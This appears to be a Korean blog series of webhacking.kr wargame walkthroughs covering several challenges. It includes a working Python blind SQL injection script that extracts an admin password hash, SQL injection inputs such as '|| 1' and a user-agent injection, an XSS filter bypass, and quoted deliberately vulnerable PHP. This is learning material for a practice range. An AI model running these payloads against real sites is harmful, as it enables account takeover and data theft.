첫 화면은 아이디와 비밀번호를 칠수 있고

join과 login 버튼이 있다.

aaa/aaa로 처 넣고 join을 눌렀더니



Done이라고 뜬다.

아마 가입된것 같다.

aaa/aaa로 로그인 해보니

user key는 암호화 된 것 같다.

그래서

암호화 된것을 여러 암호에 encoding해보니

md5암호가 길이가 유지되면서 암호문만 변경이 되었다.

그래서 md5로 decoding해보니

aaazombie라고 나온다!

아마 pw뒤에 zombie를 넣고 암호화 하나보다.


그래서 admin으로 가입을 해보니


이미 가입되어 있다고 한다!

그래서 혹시나 해서 username에  true값으로 sql injection을 해보니

wrong password!

false값으로 injection을 해 보니

wrong!만 뜬다.

취약점을 찾았다.


우선 pw의 길이를 알기위해 

길이로 값을 계속 돌려보니

pw의 길이는 32로 나온다.

blind sql injection 문제이다.

보통 나는 blind sql injection문제는 소스를 구해보거나

찾아서 고치는데

인터넷 소스는 일단 전부 python2버전으로 되어 있는 것 같고

또 안돌아갔다......

파이썬을 모르지 않지만 웹으로 주고 받는것은 안해봐서

한참을 찾아도 안나와

결국 내가 짰다...

python3버전으로 짰고 spyder로 작업했다.

import urllib.request

import http.client

import re

import requests


if __name__=="__main__":

    

    pw =""

    md5 = [num for num in range(48,58)]+[num for num in range(97,104)]

    for i in range(1,33):

        for j in md5:

            data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}

            data = urllib.parse.urlencode(data)

            header = {"Content-type":"application/x-www-form-urlencoded","Accept": "text/plain","Cookie":"PHPSESSID=당신의 쿠키를 쓰시오"}

            connection = http.client.HTTPConnection("webhacking.kr")

            connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)

            response = connection.getresponse()

            read = response.read()

            read =read.decode('utf-8')

            find = re.findall("Wrong password!",read)

            if find:

                print(chr(j),end='')

                break


내가 webhacking.kr문제를 풀면서

가장 짜증나고 오래걸린 문제였다.

이렇게 하면 짜자잔!

암호가 나오네?


암호 해독해 버리기~!!!

rainbowzombie가 나와 버리기~~!!!

admin을

방금 얻은 비밀번호로 로그인 해 주면

짜자잔~!!풀려버린다!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 61번  (0) 2018.01.12
Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09

먼저 첫 화면은 auth칸을 클릭 가능하게 해 놓았다.

눌러보니 Access_Denied! 이라고 뜬다.

소스를 보니

index.phps로 들어가 보라고 한다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer 
"????";

$go=$_GET[val];

if(!
$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo(
"<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(
eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(
eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if(
$rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if(
$rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if(
$rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if(
$rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if(
$rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!
$data[0]) { echo("query error"); exit(); }
if(
$data[0]!=&& $data[0]!=2) { exit(); }


if(
$data[0]==1)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>"
);
echo(
"<!-- admin mode : val=2 -->");
}

if(
$data[0]==2)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>"
);
@
solve();





?>

<!--

index.phps

-->



</body>

</html>


소스를 보니 union을 사용해서 풀으라고 적어 놓았다.

소스를 보면 val값에 다가 값을 넣어서 get방식으로 보내는 것인데

필터링으로 다양한 값들을 걸러준다.

그리고 rand값 1~5 중 하나를 택하여

괄호의 갯수가 바뀌어 진다.

그리고 " select lv from lv1 where lv=($go)"

구문이니까

$go 즉 val값에다가 injection을 해 주는 문제이다.


먼저 val = 1) union만 입력하니

cannot use space가 뜬다.

공백은 금지한다고 위의 소스에 적혀있었다.


그래서 union을 괄호 안에다 붙이니 nice try가 뜬다.

그런데 select를 넣으니 오류가 뜬다;;;

공백을 우회해도 마찬가지 이다.


다른 정답을 봐도 이런 방향으로 가는게 맞는데

아마 이걸 봐서는 최근에 서버에 오류가 있는것 같다.

찝찝하게 스톱!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 3번  (0) 2018.01.09

화면은 아주 단순하다.

소스를 보자

별거 없고 index.phps로 들어가라고 한다.

들어가 보자.


<html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?

$agent
=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(
preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if(
$count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if(
$ck)

echo(
"hi <b>$ck[0]</b><p>");
if(
$ck[0]=="admin")

{
@
solve();
@
mysql_query("delete from lv0");
}


}

if(!
$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo(
"<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body> </html>

소스를 보면 우선 user_agent값을 불러와서 .과 /를 _로 치환하고

pat이라는 것으로 필터링을 해준다.

그리고 또 치환을 하고 user_agent값으로 lv0으로 부터 id를 가져와서

만약 그 값이 존재하는 지를 보고

그 값이 admin이면 클리어 해준다.

그 값이 없으면 들어온 값의 user_agent값과 ip값 그리고 guest로 새로 lv0에 집어넣는다.

이때 우리는 $agent값을 sql injection 해 주어 admin 값을 삽입해 주면 될 것 같다.

우선 burp suite으로 보내는 값을 잡아와 보니

user-agent 란이 보인다.


이 값을 sql injection할 값으로 바꾸어 주어

내가 admin으로 만들때 넣어줄 user-agent값을 기억해 준다.


그리고 내 값을 아까 insert 시킨 user-agent값으로 넣어주면


8번 클리어!!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08

개인적으로 가장 배점이 이해안되는 쉬운문제!

$pat = "/[1-3][a-f]{5}_.*127.0.0.1.*\tp\ta\ts\ts/"

이고

$pat과 $_GET[val]이 같으면

성공하는 문제이다.

127.0.0.1은 실제로 없고 거기에 자신의 아이피가  존재할 것이다.

저 정규표현식을 아무렇게나 맞춰만 주고

주소 창에 get 방식으로

?val=답 을 써주면 된다.

나는

/111aaaaa_.127.0.0.1.%09p%09a%09s%09s/로

답을 적었다.

여기서 tab이 주소창에서 안쳐지기 때문에 그냥 url코드로 집어 넣으면 된다.


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 23번  (0) 2018.01.08

이제는 퍼즐을 풀라고 한다...

우선 소스를 보면 

숫자들로 둘러쌓인 5x5의 칸들은

클릭하면 검정색을 바뀌고 다시 클릭하면 흰색으로 바뀐다.

이때 검정색은 value값이 1 흰색은 0으로 바뀌고

_answer이라는 hidden값은 그 값들을 받아서

submit해준다.

일단은 아무렇게나 클릭하면 안풀려서

퍼즐 자체를 풀어야 할 것 같다.

퍼즐은 그 줄에 몇개의 검정색이 들어가야 하는지에 대해서

말해주고 있다.

실제로 여러가지 나오는것 같던데 

막 하다보면 

이 페이지로 넘어간다.

여기서 내 아이디를 write해보니

올라간다.

값은 내가 입력한 name과

answer, 그리고 내 ip가 나온다.

answer은 보니 아까 푼 퍼즐을 1과0으로 나열해 놓은 값으로 보인다.


문제를 풀었는데 답을 안주니

다시 name을 admin으로 만들어 보았다.

근데 만들어는 지는데 변화는 없다.

그래서 answer를 바꾸어 보았지만

달리 변화는 없다.


그래서 burp suite로 intercept해보니

answer값과 id값을 &로 받는다.

그래서 answer값을 1010100000011100101011111 or 1로 넘겨보면


막혀있다.

그래서 1010100000011100101011111 || 1을 넘겨주면

답이 나온다!

3번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 23번  (0) 2018.01.08
Webhacking.kr 33번  (0) 2018.01.05

첫 화면은 꺼멓다....

먼저 join을 눌러보니 들어갈 수 가 없다..

그래서 login을 눌러서 들어가서

아무렇게나 넣고 login해보니

admin만 로그인이 되는것 같다.


그래서 admin을 id로 password는 아무렇게나 하니 

패스워드 오류가 뜬다.

그런데

주소를 보면 mem이 있어서 들어가 보았다.

힌트라고 써져있다!


여기서 join.php를 들어가니

까맣다...

그래서 소스를 보니 이렇게 난독화가 되어있다.


이렇게 난독화 되어있는 소스를 치환해보면 이런 소스가 나와있는데

쿠키를 oldzombie로 만들어주고

주소창뒤에 ?mode=1을 넣으라고 되어있다.

쿠키를 만들고

주소창에 mode=1 을 넣어주면!

이런 가입창이 뜬다!!

여기다 admin으로 가입하려고 하니

이미 있다고 한다.


소스를 보니 maxlength가 5로 되어있는 것을 10으로 바꾸어 주고

admin뒤에 null값을 넣어주니

가입이 된다!



그렇게 로그인을 해보니

엥?

안된다...




다시 admin뒤에

그냥 띄워쓰기를 하고 

가입후

로그인 하니

5번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 23번  (0) 2018.01.08
Webhacking.kr 33번  (0) 2018.01.05
Webhacking.kr 59번  (0) 2018.01.03

injection이라 적힌 것 으로 봐서는 sql injection문제가 아닐까 싶다.

우선 <script>alert(1)</script>를 넣어야 풀리는 문제인 것 같다.

그래서 al을 넣어봤더니 막혀있다.

그래서 a와 l사이에 URL코드로 %09를 넣으니 적혀진다!

그래서 전체를 다 넣으니 완성은 되는데 띄워쓰기가 되어 버린다...

그렇다면 %00을 넣어보니 띄어쓰기도 생기지 않는다!!!!

다 쳐서 넣어보니 완성!!!

23번은 가볍게 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 33번  (0) 2018.01.05
Webhacking.kr 59번  (0) 2018.01.03
Webhacking.kr 58번  (0) 2018.01.03

33번 문제를 시작한다.

처음 문제는 index.phps를 들어가면 소스를 볼수있다.

소스는 get으로 get의 값을 hehe로 보내주면 된다고 한다.


간단하게 ?get=hehe를 주소에 추가해주면 Next키가 나오면서

다음 문제로 넘어간다.

문제가 하나 더 있나보다.

33-2번 문제다.

소스를 보자.

post로 post값을 hehe로 넘겨주고 post로 post2의 값을 hehe2로 넘겨주면 된다고 한다.

post값을 넘겨주기 위해서 소스에다가 post를 넣을 칸을 만들어 준다.

여기다가 이제 hehe와 hehe2를 넣어주면

Next?가 뜬다

왜자꾸 Next가 나오지

다음문제다.

소스를 본다.

myip값에다가 자신의 ip주소를 get방식으로 넘겨달라고 한다.

넘겨줬다.

Next가 나온다.....

일단 시작했으니 넘긴다.

33-4번문제다.

힌트도 있다.


소스를 보니 hint는 시간값이었다.

get방식으로 password값에다 time을 md5로 암호화 한 값을 넣어주라고 한다.

아마 자신의 시간과 일치해야 하는것 같다.

이거 한 8번해서 통과했다.

개인적으로 정말 싫다.

넥스틐ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ


소스보자.

get방식으로 imget post방식으로 impost 쿠키에다가 imcookie값을 넣어주라고 한다.

존재유무에만 관심이 있으니 값은 아무렇게나 해보자.

일단 post를 넘겨줄 창을 소스에다가 만들어 주고

action은 get과 함께 넘겨줘야 하기때문에

?imget=1을 넣어서 넘겨주자.

cookie는 editThiscookie에 imcookie만 만들어 주면 된다.

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

소스보자


쿠키에 test라는 쿠키를 만들어주고 값은 내 아이피를 md5로 암호화 한것,

또한 post방식으로 kk값에다가 SERVER[HTTP_USER_AGENT]를 넣어주라는데

이것은 힌트값을 md5로 암호화 시켜주라는 것이다.

그러니까 힌트에 있는 문장의 전체를 암호화시켜서

post창을 만들어서 넣어주자.

(개인적으로 크롬 써서 크롬 뒤의 값만 암호화해서 굉장히 오래걸려서 풀었다.)

이렇게 넣어주고~

와우 넥스트가 있네에~


자 소스!

소스를 보면 자신의 아이피 주소에 .을 다 빼고 그게 받은 자신의 아이피주소와 같으면 된다.

내 아이피주소의 .을 뺀 값 = 내 아이피주소의 . 을 뺀 값을 넣어주면

다음!~~!


소스


addr값을 get 방식으로 해서 값이 127.0.0.1이면 된다고 한다.

다음

소스

이번에는 i가 97부터 2를 더한값을 i에 다가 넣어서 122까지 그것들을 ans값에 get방식으로 받아오면 된다.

chr()는 안의 숫자를 문자로 바꾸어 준다.

숫자는 아스키 코드표에서 보고 바꾸어주면 된다..

그러면 알파벳을 하나씩 빼주면 된다

다음

wrong이 읍따

소스!

문제를 보니까

ip값에다가 내 아이피값을 넣고

ip길이만큼을 i 길이만큼 

i를 0부터 계속 ip에 있는 값을 문자의 아스키값으로 변환 시켜준다.

그리고ip값을 2를 곱하고 다시 2로 나누고 .을 공백으로 바꾸어준 값을 answer에 넣어준다.

일단 해보자

그래놓고 어디서 할지몰라서 찾아보니

http://webhacking.kr/pds/phppad/index.php

웹해킹.kr에서 php를 실행시킬수 있게 만들어 놓았다.


뺄거 빼고 소스에서 

$ip = 내 아이피 를 넣어주고

우리는 $ip/$anwer.$ip만 알면 되니까 

echo로 출력시키면

나오는 값을

주소창에 넣어주면

(참고로 bonus-6/뒤에다가

answerip/하고 

$ip/$answer.$ip를 넣어줘야한다.

개인적으로 forfor.php뒤에다 계속쳐서 문제 막힌줄)

33번도 클리어!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 23번  (0) 2018.01.08
Webhacking.kr 59번  (0) 2018.01.03
Webhacking.kr 58번  (0) 2018.01.03
Webhacking.kr 32번  (0) 2018.01.02

+ Recent posts